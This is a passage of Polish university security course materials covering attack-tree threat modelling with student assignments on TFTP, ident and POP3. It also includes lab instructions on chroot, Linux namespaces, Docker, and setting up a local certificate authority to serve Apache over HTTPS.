Proszę zwrócić uwagę na to, że niektóre wierzchołki są oznaczone w powyższym drzewie znacznikiem (OR), a inne znacznikiem (AND). Oznaczenie to wskazuje, jak należy traktować dzieci podczas analizy. Gdy wierzchołek jest oznaczony jako (OR), wystarczy wypełnienie przyczyny u jednego dziecka, aby uznać, że przyczyna z analizowanego wierzchołka się wypełniła i zagraża analizowanej wartości. Z kolei dla wierzchołka oznaczonego (AND) uznamy go za wypełnionego, gdy wszystkie jego wierzchołki potomne zostaną wypełnione. W naszym przykładowym drzewie wierzchołek (AND) jest przypisany do przyczyny "zdobycie kluczyka przez kradzież". Jak widzimy z drzewa kradzież zostanie dokonana, gdy złodziej znajdzie się w pobliżu właściciela, zaobserwuje, gdzie ten trzyma kluczyk i podbierze go z zaobserwowanego miejsca.

Po sporządzeniu drzewa ataku można się zacząć zastanawiać nad różnymi aspektami ataku. Można zacząć od wprowadzenia adnotacji, czy dane zagrożenie uważamy za możliwe lub niemożliwe. W tym celu oznaczamy według naszego wyczucia liście drzewa literami "m" (jak możliwe) i "n" (jak niemożliwe), a następnie propagujemy tę informację w kierunku korzenia, uznając, iż wierzchołek typu (OR) jest "m" jeśli któreś z jego dzieci jest "m", zaś wierzchołek (AND) jest "m", jeśli wszystkie jego dzieci są "m".

Inne możliwe sposoby wykonania adnotacji w takim drzewie mogą polegać na rozeznaniu, czy

  • atak "wymaga specjalistycznego sprzętu", czy też "nie wymaga specjalistycznego sprzętu",
  • jaki jest koszt ataku,
  • jakie jest prawdopodobieństwo ataku (choć tego się nie zaleca, bo przyjmuje się, że szacowanie prawdopodobieństw bazowych jest tutaj obarczone zbyt dużym błędem).

Drzewa ataków zostały spopularyzowane przez Bruce Schneiera. Ich formalizm jest podobny i zapewne korzeniami tkwi w pojęciu "drzew usterek" (ang. fault trees). Główna różnica polega tutaj na dodaniu do analizy obejmującej usterki nie wynikające ze złej ludzkiej woli możliwych umyślnych wrogich działań.

Należy pamiętać, że takie drzewa z czasem ulegają zmianie. Również przeniesienie naszej wartości w inny kontekst (np. do Japonii, gdzie występują trzęsienia ziemi) może wprowadzić nowe wierzchołki do drzewa.

Materiały uzupełniające:

  1. Materiały Amenza Technologies Limited: http://www.amenaza.com/downloads/docs/AttackTreeFundamentals.pdf
  2. O narzędziach: https://buildsecurityin.us-cert.gov/articles/tools/modeling-tools/introd...
  3. Analiza pojęcia drzew ataków: http://www.sti.uniurb.it/events/fosad05/attacktrees.pdf

Kilka narzędzi korzystających z tego podejścia:

  1. ADTool: http://satoss.uni.lu/members/piotr/adtool/
  2. Ent: https://github.com/jimmythompson/ent
  3. SeaMonster: https://sourceforge.net/projects/seamonster/
  4. AttackTree: https://www.isograph.com/software/attacktree/
  5. SecurITree: http://www.amenaza.com/SS-what_is.php

Ćwiczenia na zajęciach:

  1. Dodaj do zaproponowanego w opisie zajęć drzewa kilka wierzchołków na każdym poziomie.
  2. Dodaj do opracowanego przez siebie drzewa adnotacje dla zasugerowanych powyżej analiz: możliwości wykonania ataku, konieczności użycia specjalistycznego sprzętu oraz kosztu.
  3. Przejrzyj drzewo ataku dla PGP zaproponowane przez Bruce'a Schneiera: https://www.schneier.com/paper-attacktrees-fig7.html Jak można tam przypisać etykiety możliwości i niemożliwości?

Zaliczenie 2014

1. Przeczytaj uważnie specyfikację protokołu TFTP.
http://tools.ietf.org/html/rfc1350

2. Zapoznaj się z artykułami na temat startowania
systemu operacyjnego za pomocą protokołu TFTP.

a) https://www.debian.org/releases/wheezy/amd64/ch04s05.html.en
b) http://www.tldp.org/HOWTO/PA-RISC-Linux-Boot-HOWTO/bootnetwork.html
c) http://www.thegeekstuff.com/2010/07/tftpboot-server/

3. Opracuj drzewo ataku przeciwko startowaniu systemu operacyjnego za
pomocą protokołu TFTP. Zapisz je w postaci wypunktowanej listy.

Zaliczenie 2015

  1. Przeczytaj uważnie specyfikację protokołu:
    http://tools.ietf.org/html/rfc1413
  2. Obsługa laboratorium komputerowego pewnego wydziału w jednym z uniwersytetów
    z powodów lokalowych ma tak ustalone obowiązki, że administratorzy
    obsługują sieć nie w dedykowanych stanowiskach w fizycznym pobliżu
    serwerów, ale robią to ze zmiennych stanowisk rozproszonych po
    całym budynku przez nich obsługiwanym. Administratorzy postanowili
    zwiększyć swoją wygodę i użyć powyższego protokołu do szybkiego
    zdalnego identyfikowania użytkowników korzystających z głównego
    serwera. Jednocześnie nie zastosowali żadnych rozwiązań kryptograficznych
    do korzystania z tej usługi (nie użyli ani SSL, ani SSH, ani innego
    podobnego rozwiązania).
  3. Opracuj drzewo ataku przeciwko takiemu rozwiązaniu. Opisz chronione
    wartości oraz przyjmij model odpowiednio silnego atakującego, aby
    wyłapać jak najwięcej zagrożeń. Zapisz drzewo w postaci wypunktowanej listy.
    Jeśli uznasz za stosowne, możesz zapisać rozwiązanie w postaci kilku drzew lub
    drzewa o kilku korzeniach.

Zaliczenie 2016

1. Przeczytaj uważnie specyfikację protokołu POP3 w wersji podstawowej:
https://tools.ietf.org/html/rfc1939

2. Obsługa laboratorium komputerowego pewnego wydziału w jednym z
uniwersytetów postanowiła skorzystać z podstawowej wersji
protokołu POP3 do zapewniania dostarczania poczty na komputery
studentów. Jednocześnie nie zastosowali żadnych rozwiązań
kryptograficznych zabezpieczających korzystanie z tej usługi
(nie użyli ani SSL, ani SSH, ani innego podobnego rozwiązania),
można tutaj na przykład wyobrazić sobie, że z jakiegoś powodu postanowili
napisać serwer POP3 na własną rękę i zaimplementowali wyłącznie
to, co zostało zapisane w RFC 1939. Jednocześnie dla zapewnienia
wygody studentów administratorzy zdecydowali, że do uwierzytelnienia
będą stosowane te same hasła, jak do wszystkich innych usług wymagających
uwierzytelniania w tej jednostce (mają oni jakiś system podobny do
naszego centralnego systemu uwierzytelniania).

3. Opracuj drzewo ataku przeciwko takiemu rozwiązaniu. Opisz chronione
wartości oraz przyjmij model odpowiednio silnego atakującego, aby
wyłapać jak najwięcej zagrożeń. Zapisz drzewo w postaci wypunktowanej
listy. Jeśli uznasz za stosowne, możesz zapisać rozwiązanie w postaci
kilku drzew lub drzewa o kilku korzeniach.

Uwagi dotyczące rozwiązania:

1. To zadanie jest z rozmysłem źle postawione. To złe postawienie ma na celu
wybadanie w Was wrażliwości na sprawy bezpieczeństwa.

2. Dodatkowo problemy związane z analizą bepieczeństwa w prawdziwym życiu są
zawsze źle postawione.

3. W zadaniu chcemy, żeby Państwo przeprowadzili raczej analizę sytemu niż
konkretnego protokołu. Sam protokół jednak powinien przewinąć się w Waszej
analizie.

4. W zadaniu nie ma mowy o protokołach kryptograficznych, żeby mocniej zwrócić
Państwa uwagę na fakt, że bezpieczeństwo to nie tylko kryptografia.

5. Bardzo ważną rzeczą w tego typu analizie jest jej systematyczność.

6. Można sobie obejrzeć przykładowe rozwiązanie z zeszłego roku, żeby lepiej
zrozumieć, jak mają wyglądać rozwiązania. W szczególności należy zwrócić
uwagę, że rozwiązania istotnie krótsze będą uważane za istotnie gorsze.

Laboratorium 9 i 10: chroot, ssl

1. Bezpieczne środowisko uruchamiania aplikacji

Jeśli aplikacja (np. serwer http) jest uruchamiana pod systemem operacyjnym, w szczególności np. z uprawnieniami roota, w przypadku umiejętnego wykorzystania błędu atakujący może uzyskać bardzo szerokie uprawnienia, m.in. nieograniczony dostęp do systemu plików.
Aby uniknąć takich zagrożeń:

  • należy uruchamiać aplikację z minimalnymi niezbędnymi uprawnieniami, w szczególności jako użytkownik inny niż root. Takie podejście jest szeroko stosowane, np. serwer http apache może być uruchomiony jako użytkownik inny niż root (zwykle http lub www);
  • jeśli to możliwe, trzeba zadbać, aby proces miał dostęp do ograniczonych zasobów systemowych.

1.1. Ograniczenie przestrzeni aktywności procesu - chroot

W systemie Linux można uruchomić dowolny proces (i jego procesy potomne) ze zmienionym katalogiem głównym za pomocą polecenia chroot (oraz wywołanie systemowego chroot()). Uruchomiony w ten sposób proces nie może powrócić do rzeczywistego katalogu głównego w systemie plików. Można więc przygotować inny niż główny katalog zawierający pliki niezbędne dla aplikacji np. bibliotki, czy pliki konfiguracyjne. Zwykle trzeba odwzorować część struktury katalogów i plików konfiguracyjnych, np. /etc, /usr/lib/, /var, /proc. Mechanizm chroot może być też przydatny dla celów testowania oprogramowania lub np. zrealizowania środowiska programistycznego ze specyficznym zestawem bibliotek i narzędzi. Do zalet należy także zaliczyć prostotę użycia i brak konieczności modyfikacji jądra systemu operacyjnego.

1.1.1. Przykład użycia polecenia chroot

Jeśli docelowy katalog został przygotowany, można uruchomić proces, np.:

chroot /przygotowany_katalog /usr/sbin/apache2 -k start

1.1.2. Wady chroot

Sam w sobie chroot nie posiada mechanizmów limitowania zasobów używanych przez proces, użycie go nie zabezpiecza więc przed atakami DoS.

Uruchomienie polecenia chroot wymaga uprawnień roota.

Chroot nie zmienia UID i GID procesu. Jeśli aplikacja sama nie zmieni UID, będzie wykonywana z prawami roota.

Istnieją sposoby, które pozwalają procesowi uruchomionemu z prawami roota, wyjście poza określony poleceniem chroot katalog -
opisano je w lekturze uzupełniajacej http://linux-vserver.org/Secure_chroot_Barrier.

Można przy okazji zacytować fragment listu Alana Coxa: "(...) chroot is not and never has been a security tool." :)

1.1.3 Przydatne triki

Jeżeli chcemy mimo wszystko przygotować katalog chroot, możemy ułatwić sobie życie na dwa sposoby. Po pierwsze można przygotować minimalną instalację jakiejś dystrybucji aby uniknąć zgadywania które pliki są potrzebne do pracy naszego programu; dotyczy to zwłaszcza bibliotek korzystających z wielu plików pomocniczych. Trzeba jednak pamiętać, aby nie umieszczać w systemie zbędnych programów z bitem SUID które mogłyby być wykorzystane do "ucieczki" z chroota. Warto też pamiętać o poleceniu

mount --bind /proc /przygotowany_katalog/proc
mount --rbind /dev /przygotowany_katalog/dev

pierwsza wersja powoduje, że pliki z systemu plików (lub jakiegoś katalogu z systemu plików) widocznego jako /proc będą też widoczne w katalogu /przygotowany_katalog/proc. Nie dotyczy to jednak katalogów podmonotwanych wewnątrz proc, np. /proc/sys/fs/binfmt_misc. Natomiast druga wersja obejmuje także katalogi podmontowane wewnątrz bindowanego katalogu.

1.2. Kontentery

Naturalnym roszerzeniem chroota jest objęcie ograniczeniami także innych zasobów niż system plików. W idealnym świecie uruchomiony w takim ulepszonym chroocie - czyli kontenerze - program powinien zachowywać się tak, jakby był uruchomiony na maszynie wirtualnej na tym samym komputerze i z oddzielną kopią tego samego jądra. Jednak ponieważ naprawdę nie uruchamiamy nowego jądra, to nie występuje narzut spowodowany koniecznością obsługi wywołań syswtemowych przez dwa jądra, wirtualizacją urządzeń sprzętowych itp. Możemy także, jeżeli tego potrzebujemy, osłabić izolację w jakimś miejscu aby programy bardziej efektywnie współpracowały. Ograniczeniem jest konieczność używania takiego samego jądra we wszystkich używanych kontenerach i systemie bazowym.

W Linuksie implementacja kontenerów opiera się na uogólnieniu pojącia chroot do pojęcia namespace. Są one następujące i pozwalają izolować:

       Namespace   Constant          Isolates
       Cgroup      CLONE_NEWCGROUP   Cgroup root directory
       IPC         CLONE_NEWIPC      System V IPC, POSIX message queues
       Network     CLONE_NEWNET      Network devices, stacks, ports, etc.
       Mount       CLONE_NEWNS       Mount points
       PID         CLONE_NEWPID      Process IDs
       User        CLONE_NEWUSER     User and group IDs
       UTS         CLONE_NEWUTS      Hostname and NIS domain name

Tabelka pochodzi z man namespace(7). Tę stronę podręcznika systemowego należy przeczytać, a strony zależne przejrzeć. Należy także zapoznać się z możliwościami nakładania ograniczeń na procesy za pomocą grup cgroups(7).

Na podstawie tej infrastuktury zbudowanych jest kilka środowisk dających wygodne narzędzia do wirtualizacji, są to. np. Linux Containers (LXC), OpenVZ, Docker.

1.3. Docker

Docker składa się z procesu serwera, który odpowiada za faktyczne tworzenie kontenerów, ich modyfikacje, itp. oraz klienta, którego funkcją jest zapewniania możliwości korzystania z serwera. Aby skonfigurować nowy kontener tworzymy w pustym katalogu plik o nazwie Dockerfile z przykładową zawartością:

FROM ubuntu
 
MAINTAINER Kto To Wie
 
RUN apt-get update && apt-get install -y apache2 
 
EXPOSE 80
 
CMD ["/usr/sbin/apache2", "-D", "FOREGROUND"]

pierwsza linia oznacza kontener, z którego korzystamy jako bazowego. Docker ma centralny rejestr kontenerów, z których można korzystać przy tworzeniu swoich, są w nim w szczególności podstawowe instalacje różnych dystrybucji. Aby uniezależnić się od twórców Dockera można też uruchomić własny taki serwer.

Linia z wpisem MAINTAINER jest wymagana, ale ma charakter informacyjny. Następnie mamy (być może kilka) linii z poleceniami RUN, opisujące polecenia potrzebne do przygotowania kontenera. Aby nie wykonywać zbyt często tych samych poleceń Docker zapamiętuje stan kontenera po każdej linijce z pliku Dockerfile w sposób analogiczny do snapshotów zwykłych maszyn wirtualnych.

Polecenie EXPOSE 80 udostępnia światu port 80. Polecenie CMD określa komendę, która będzie służyła do faktycznego uruchomienia kontenera - w tym przypadku jest to serwer apache. Gdy podany proces zakończy działanie docker zatrzyma wszystkie procesy w kontenerze

Aby uruchomić nasz kontener wchodzimy do odpowiedniego katalogu i piszemy

docker build .
docker run

Jeśli chcemy szybko uruchomić polecenie w kontenerze bez pisania dockerfile'a, możemy napisać

docker run -t -i ubuntu /bin/bash

1.3.1 Ciąg dalszy

Plik Dockerfile ma jeszcze wiele możliwości, których nie poznaliśmy. Dokumentacja Dockera jest dostepna pod adresem http://docker.io.

2. SSL

2.1. Wersje i nazewnictwo

SSL to standard ochrony warstwy aplikacji wykonany wraz z implementacją przez Netscape Communications Corporation. Powstały wersje SSL v1, v2, v3. Od 1996 roku standard jest rozwijany przez grupe roboczą IETF na bazie SSL v3 jako TLS (Transport Layer Security), powstały wersje standardu TLS 1.0 - RFC 2246, TLS 1.1 - RFC 4346, TLS 1.2 - RFC 5246 i trwają prace nad standardem TLS 1.3.
Wersje SSL v1 i SSL v2 są uznawane za niebezpieczne. Po ataku poodle (http://www.cert.gov.pl/cer/wiadomosci/zagrozenia-i-podatnosc/724,POODLE-...) SSL v3 również przestał być uważany za bezpieczny.

2.2. Implementacje

Najbardziej popularna to OpenSSL (http://www.openssl.org/). Zawiera implementację standardów SSL v2, v3, TLS 1.0-1,2. OpenSSL to biblioteka wraz z zestawem narzędzi (przede wszystkim program openssl). Alternatywna implementacja: GnuTLS - TLS 1.1-1.2 i SSL v3 (http://www.gnu.org/software/gnutls/).

2.3. Koncepcja działania

SSL/TLS zapewnia zestawienie szyfrowanego i uwierzytelnionego kanału dla warstwy aplikacji. W modelu ISO/OSI SSL/TLS znajduje się w
warstwie prezentacji, zatem ponad warstwą transportu (TCP/UDP), ale poniżej warstwy aplikacji.

2.3.1. Przebieg nawiązywania połączenia

  • Serwer uwierzytelniania się przed klientem.
  • Klient i serwer wymieniają między sobą informacje pozwalające uzgodnić im najsilniejsze mechanizmy kryptograficzne jakie obie
    strony wspierają np. algorytm funkcji skrótu kryptograficznego, algorytm służący do szyfrowania.
  • Jeżeli zachodzi taka potrzeba klient uwierzytelnia się przed serwerem.
  • Klient i serwer używając mechanizmów kryptografii klucza publicznego uzgadniają między sobą tajny klucz sesji (shared secret).
  • Zostaje ustanowiony bezpieczny kanał wymiany danych między obiema stronami, szyfrowany kluczem sesji.

Koncepcja SSL/TLS wykorzystuje idee kryptografi symetrycznej i niesymetrycznej. Kryptografia niesymetryczna służy do uwierzytelnienia i ustalenia w bezpieczny sposób klucza sesji. Następnie wykorzystywana jest kryptografia symetryczna (i ustalony klucz sesji), co zwiększa wydajność.

2.3.2. Przebieg sprawdzania autentyczności

To, że uda się zestawić kanał szyfrowany nie oznacza jeszcze, że wiadomo z jakim serwerem http mamy połączenie... Co się stanie, jeśli ktoś podszyje się pod serwer http (co jest popularnym sposobem wyłudzania haseł i innych poufnych informacji)? Przeglądarka, łącząc się z serwerem http, dostaje od niego certyfikat, w którym znajduje się klucz publiczny serwera. Oprócz klucza publicznego
certyfikat zawiera także inne dane:

  • numer wersji standardu X.509 (jest to standard budowy certyfikatu),
  • numer wystawionego certyfikatu,
  • identyfikator algorytmu podpisu certyfikatu,
  • nazwa funkcji skrótu kryptograficznego użyta przez wystawcę,
  • nazwa wystawcy certyfikatu,
  • daty ważności certyfikatu,
  • nazwa podmiotu dla którego wystawiany jest certyfikat,
  • parametry klucza publicznego podmiotu,
  • klucz publiczny podmiotu,
  • opcjonalne rozszerzenia,
  • podpis certyfikatu składany na nim przez wystawcę.

Dzieki tym danym, certyfikat poświadcza związek osoby z kluczami, którymi się posługuje. Ponieważ certyfikat jest podpisany, przeglądarka może sprawdzić autentyczność podpisu. Dokonuje tego za pomocą certyfikatów zawierających klucze publiczne Centrów Certyfikacji (Certification Authorities, CAs), jednostek wystawiających certyfikaty. CAs spełniają rolę zaufanej trzeciej strony (trusted third party) i odpowiedzialne są za poświadczanie tożsamości klientów. Zanim CA podpisze certyfikat podmiotu, sprawdza jego tożsamość (np. przez sprawdzenie dowodu osobistego, czy uprawnień do posługiwania się nazwą instytucji).

Przeglądarka weryfikuje certyfikat za pomocą zbioru certyfikatów zaufanych CA. Jeśli weryfikacja podpisu nie powiedzie się, generowane jest ostrzeżenie. Ostrzeżenia są tworzone także, jeśli nie zgadzają się inne elementy certyfikatu, np: data ważności, czy nazwa domeny (gdy serwer wyśle certyfikat zawierający inna nazwę domenową, niż ta która znajduje się w URL).

2.3.3. Własne CA

Na potrzeby własnej instytucji można utworzyć własne CA i z jego pomocą generować certyfikaty. Może to ograniczyć koszty utrzymywania certyfikatów podpisywanych przez zaufane CA np. Verisign. Tak utworzone certyfikaty spowodują, że np. przeglądarka internetowa lub inne aplikacje będą generować ostrzeżenia związane z brakiem możliwości weryfikacji podpisu (brakiem zaufania do CA podpisującej wystawiony certyfikat). By uniknąć generowania takich ostrzeżeń, certyfikat własnego CA należy zaimportować do przeglądarki.

2.3.4. PKI

Wyżej opisana koncepcja obiegu informacji związanych z wystawianiem certyfikatów dla podmiotów, wraz z istnieniem organizacji CA poświadczających związek certyfikatu z konkretną instytucją lub osobą nosi nazwę Infrastruktury Klucza Publicznego (ang. Public Key Infrastructure), w skrócie PKI.

Struktura PKI podlega standaryzacji i opiera się na dwóch elementach. Jednym jest standard X.509 opisujący strukturę certyfikatów oraz drugi określany mianem PKCS (ang. Public Key Cryptography Standards).

3. Ćwiczenia

3.1. Docker

# dpkg -i docker.io_1.6.2~dfsg1-1ubuntu4~14.04.1_i386.deb

W dalszej części scenariusza trzeba pamiętać o tym, że Docker Hub nie odróżnia systemów gościa 32- i 64-bitowych, gdyż zwykle nie ma to znaczenia. Na szczęście mamy do dyspozycji obrazy z 32-bitowym Ubuntu:

docker pull ioft/i386-ubuntu:16.04
docker run -i -t ioft/i386-ubuntu:16.04 bash -l
  • Wykonaj polecenia z treści powyższego modułu.

  • Napisz

docker images
  • Skasuj wszyskie obrazy.
  • Utwórz w katalogu z plikiem Dokerfile podkatalog a z plikami a1 i a2 i podkatalog b z plikiem b1.
  • Zmodyfikuj Dockerfile tak, aby kopia podkatalogu a była widoczna w kontenerze (polcenie ADD)
  • Zmodyfikuj Dockerfile tak, aby podkatalog b był widoczy w kontenerze (nie jako kopia).

3.2. SSL

Będziemy posługiwać się skryptami CA.sh, by uniknąć złożoności bezpośredniego wywołania programu openssl. Zachęcamy jednak do przejrzenia zawartości CA.sh i używanych w nim parametrów wywołania programu openssl.

3.2.1. Tworzenie nowego CA

/usr/lib/ssl/misc/CA.sh -newca

następnie:

enter to create

Wymagane hasło służy do ochrony klucza prywatnego, należy je podać, następnie:

Country Name (2 letter code) [AU]:PL
State or Province Name (full name) [Some-State]:Mazowieckie
Locality Name (eg, city) []:Warszawa
Organization Name (eg, company) [Internet Widgits Pty Ltd]:MIM UW
Organizational Unit Name (eg, section) []:SO LAB
Common Name (eg, YOUR name) []:CA SO LAB
Email Address []:ca@mimuw.edu.pl
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []: pomijamy
An optional company name []: pomijamy

W tym miejscu pojawi się pytanie o hasło chroniące nasz klucz prywatny (ustawione w poprzednim kroku). Hasło to jest potrzebne, ponieważ certyfikat tworzonego właśnie CA (root certificate, self-signed certificate) będzie podpisywany kluczem prywatnym tego CA.

W efekcie powstał certyfikat naszego CA w katalogu DemoCA/cacert.pem oraz klucz prywatny CA w DemoCA/private/cakey.pem.

3.2.2. Tworzenie prośby o certyfikację

Tworzymy parę kluczy i prośbę do CA o certyfikowanie wygenerowanego klucza publicznego.

/usr/lib/ssl/misc/CA.sh -newreq

Podajemy hasło do ochrony nowo tworzonego klucza prywatnego, następnie:

Country Name (2 letter code) [AU]:PL
State or Province Name (full name) [Some-State]:Mazowieckie
Locality Name (eg, city) []:Warszawa
Organization Name (eg, company) [Internet Widgits Pty Ltd]:MIM UW SO LAB
Organizational Unit Name (eg, section) []:SO LAB
Common Name (eg, YOUR name) []:solabXX.mimuw.edu.pl 
       (zastąp XX numerem twojej stacji roboczej)
Email Address []: solab13@mimuw.edu.pl
 
A challenge password []: pomijamy
An optional company name []: pomijamy
Request is in newreq.pem, private key is in newkey.pem.

Ponieważ klucz publiczny używać będziemy do zestawiania połączeń https, Common Name musi być nazwą hosta, dla którego wystawiamy certyfikat (inaczej przeglądarka internetowa będzie wyświetlać komunikat o niezgodności).

Usuwanie hasła z klucza prywatnego powstałego przy okazji wystawiania prośby:

openssl rsa -in newkey.pem -out newkey.pem

(wczytujemy i wypisujemy klucz prywatny, wczytanie wymaga podania hasła, bo zostało wcześniej ustawione).

Powyższy krok jest potrzebny, gdyż serwer http nie mógłby skorzystać z klucza prywatnego zabezpieczonego hasłem.

3.2.3. Wystawianie certyfikatu (podpisywanie utworzonej prośby kluczem prywatnym CA)

/usr/lib/ssl/misc/CA.sh -sign
 
Enter pass phrase for ./demoCA/private/cakey.pem:

Należy podać hasło ustawione przy okazji tworzenia CA. Hasło to chroni klucz prywatny CA, którym będzie wykonany podpis.

Certificate is to be certified until Nov 24 22:19:47 2010 GMT (365 days)
Sign the certificate? [y/n]:y

Standardowo certyfikat jest wystawiany na rok. By zmienić okres ważności certyfikatu, należy zmienić liczbę dni w pliku /usr/lib/ssl/misc/CA.sh. Zadziała to przy wystawianiu prośby, ale niestety zmienna DAYS w CA.sh nie jest używana przy podpisywaniu, więc przed podpisaniem należy zmienić liczbę dni w konfiguracji domyślnej w pliku: /etc/ssl/openssl.cnf albo zmodyfikować odpowiednio skrypt CA.sh.

W końcu gotowy certyfikat:

Signed certificate is in newcert.pem

3.2.4. Konfiguracja obsługi protokołu https na przykładzie serwera apache

Do katalogu /etc/ssl/certs/ skopiuj podpisany certyfikat wystawiony dla hosta (newcert.pem). Do katalogu /etc/ssl/private skopiuj odpowiadający certyfikatowi klucz prywatny (newkey.pem).

Należy teraz włączyć mod-ssl poleceniem:

a2enmod

po ukazaniu się listy dostępnych modułów, należy wybrać ssl.
Następnie trzeba włączyć obsługę konfiguracji ssl:

a2ensite

i wybrać default-ssl.

W pliku konfiguracyjnym /etc/apache2/sites-available/default-ssl ustawić odpowiednie nazwy zainstalowanego certyfikatu i klucza prywatnego:

    SSLCertificateFile    /etc/ssl/certs/newcert.pem
    SSLCertificateKeyFile /etc/ssl/private/newkey.pem

i zrestartować serwer http:

/etc/init.d/apache2 restart

Teraz już można się cieszyć dostępem po https. Można to sprawdzić przeglądarką:

https://solab13.mimuw.edu.pl/

Przeglądarka wyświetli ostrzeżenie mówiące o braku zaufania do CA, które podpisało certyfikat dla hosta solab13 (czyli CA, które stworzyliśmy na początku tych ćwiczeń). Jeśli ufasz swojemu lokalnemu CA, możesz zaimportować do przeglądarki certyfikat lokalnej CA z pliku DemoCA/cacert.pem. Po zaimportowaniu certyfikatu CA, przeładuj stronę - nie powinna już generować ostrzeżeń.

Połącz się ze stroną https://localhost.
Dlaczego generowane jest ostrzeżenie?

Uwaga!
W ogólności, choć istnieją przypadki szczególne, jeśli chcemy utrzymywać na naszej maszynie kolejną
treść (np. stronę) dostępną po https pod inną nazwą domenową, istnieje konieczność posiadania
kolejnego adresu IP lub użycia niestandardowego portu ponieważ najpierw uzgadniane jest szyfrowane połączenia, a potem przesyła się dane HTTP, w szczególności oczekiwaną nazwę hosta. Jeżeli ktoś wierzy, że problem da się rozwiązać, może zajrzeć na stronę https://en.wikipedia.org/wiki/Server_Name_Indication. Jeżeli kto wierzy, że rozwiązanie skomplikowanego problemu nie może być proste, może zajrzeć na stronę https://www.digicert.com/ssl-support/apache-secure-multiple-sites-sni.htm.

4. Literatura

Obowiązkowa: ten dokument.
Obowiązkowa: dokument dostępny na Ważniaku 2:
http://wazniak.mimuw.edu.pl/index.php?title=Bezpiecze%C5%84stwo_system%C...

Nieobowiązkowa:
http://linux-vserver.org/
http://www.openssl.org/
http://www.gnu.org/software/gnutls/

Zaliczenie 2009

1. Uruchom vserver o nazwie vserver1 z podstawowym środowiskiem. Nazwa gościa: solabvxx, gdzie xx jest takie samo jak w nazwie hosta. Adres IP gościa większy o 200 od adresu IP hosta. Skonfiguruj ssh tak, aby dało się zalogować na roota, ale tylko do vservera. Wewnątrz systemu gościa uruchom serwer http (apache2) tak, aby dało się do niego połączyć protokołem http.

2. Utwórz własne CA o następujących parametrach:
CN = BSK CA
OU = BSK
ST = Mazowieckie
O = MIM UW
C = PL
Termin ważności: 5 lat

3. Wygeneruj prośbę o wydanie certyfikatu dla hosta solabxx.mimuw.edu.pl:
OU = MIM UW SO LAB
ST = Mazowieckie
O = MIM UW
C = PL
gdzie xx to numer stacji roboczej (zawarty w hostname)
Termin ważności: 3 lata

4. Wystaw certyfikat dla solabxx.mimuw.edu.pl za pomocą utworzonego CA.

5. Skonfiguruj serwer http apache, tak, aby można się było połączyć do hosta z użyciem protokołu https. Ciekawsza wersja zadania dla zainteresowanych: Wykonać j.w. ale w vserverze (środowisku systemu gościa).

6. Zaimportuj certyfikat CA do przeglądarki firefox (iceweasel)

7. Wystaw certyfikat dla hosta hydra.mimuw.edu.pl i użyj go w konfiguracji swojego serwera http. Jak przeglądarka reaguje na próbę połączenia z Twoim hostem o nazwie solabxx?

Zaliczenie 2010

1. Utwórz i uruchom vserver o nazwie vserver1 z podstawowym środowiskiem. Nazwa gościa: vsolabxx, gdzie xx jest takie samo jak w nazwie hosta. Adres IP gościa większy o 200 od adresu IP hosta.
Wewnątrz systemu gościa zainstaluj i uruchom serwer http (apache2), tak, aby dało się z nim połączyć przeglądarką uruchomioną w systemie hosta.
Wewnątrz systemu gościa zainstaluj i uruchom serwer telnet, tak, aby dało się z nim połączyć klientem telnet uruchomionym w systemie hosta.

2. Utwórz własne CA o następujących parametrach:
CN = BSK CA
OU = BSK
ST = Mazowieckie
O = MIM UW
C = PL
Termin ważności: 4 lata

3. Wygeneruj prośbę o wydanie certyfikatu dla hosta
vsolabxx.mimuw.edu.pl:
OU = MIM UW SO LAB
ST = Mazowieckie
O = MIM UW
C = PL
gdzie xx to numer stacji roboczej (zawarty w hostname)
Termin ważności: 2 lata

4. Wystaw certyfikat dla vsolabxx.mimuw.edu.pl za pomocą utworzonego CA

5. Na gościu ( vsolabXX ) skonfiguruj serwer http apache tak, aby można się było połączyć z użyciem protokołu https.

6. Skonfiguruj system hosta tak, by nie pojawiały się ostrzeżenia przeglądarki przy próbie połączenia https z vsolab03.mimuw.edu.pl.

7. Wystaw certyfikat dla hosta hydra.mimuw.edu.pl i użyj go w konfiguracji swojego serwera http. Jak przeglądarka reaguje na próbę połączenia z Twoim hostem o nazwie vsolabxx?

Zaliczenie 2011

1. Utwórz i uruchom vserver o nazwie vsolabxx z podstawowym środowiskiem. Nazwa gościa: vsolabxx, gdzie xx jest takie samo jak w nazwie hosta. Adres IP gościa niech będzie większy o 200 od adresu IP hosta.
Wewnątrz systemu gościa zainstaluj i uruchom serwer http (apache2), tak, aby dało się z nim połączyć przeglądarką uruchomioną w systemie
hosta.

2. Utwórz własne CA o następujących parametrach:
CN = BSK LAB CA
OU = BSK
ST = Mazowieckie
O = MIM UW
C = PL
Termin ważności: 10 lat

3. Wygeneruj prośbę o wydanie certyfikatu dla hosta
solabxx.mimuw.edu.pl:
OU = MIM UW BSK LAB
ST = Mazowieckie
O = MIM UW
C = PL
gdzie xx to numer Twojej stacji roboczej (zawarty w hostname)
Termin ważności: 4 lata

4. Wystaw certyfikat dla solabxx.mimuw.edu.pl za pomocą utworzonego CA.

5. Na hoście przy którym pracujesz skonfiguruj serwer http apache tak, aby można było połączyć się z użyciem protokołu https.
Wykorzystaj wygenerowany wcześniej certyfikat.

6. Skonfiguruj system hosta tak, by nie pojawiały się ostrzeżenia przy próbie połączenia https z przeglądarki firefox/iceweasel.

7. Wystaw certyfikat tzw. self-signed na 365 dni i użyj go w konfiguracji apache zamiast utworzonego w p. 4.
Która metoda wygenerowania certyfikatu jest lepsza w sensie bezpieczeństwa? Należy zauważyć, iż w obu przypadkach nie używamy zewnętrznego, zaufanego Centrum Certyfikacji.

Zaliczenie 2012

1. Utwórz i uruchom vserver o nazwie vsolabxx z podstawowym środowiskiem. Nazwa gościa: vsolabxx, gdzie xx jest takie samo jak w nazwie hosta. Adres IP gościa niech będzie większy o 200 od adresu IP hosta.

Wewnątrz systemu gościa zainstaluj i uruchom serwer ssh, tak, aby dało się z nim połączyć z systemu hosta.

Ogranicz pamięć (RSS) dla gościa do 64MB. Sprawdź, czy ustawiony limit działa.

2. Utwórz własne CA o następujących parametrach:
CN = BSK
OU = BSK Certification Authority
ST = Mazowieckie
O = MIM UW
C = PL
Termin ważności: 15 lat

3. Wygeneruj prośbę o wydanie certyfikatu dla hosta
www.solab.mimuw.edu.pl:
OU = MIM UW BSK LAB
ST = Mazowieckie
O = MIM UW
C = PL
Termin ważności: 5 lat

4. Wystaw certyfikat dla www.solab.mimuw.edu.pl za pomocą utworzonego CA.

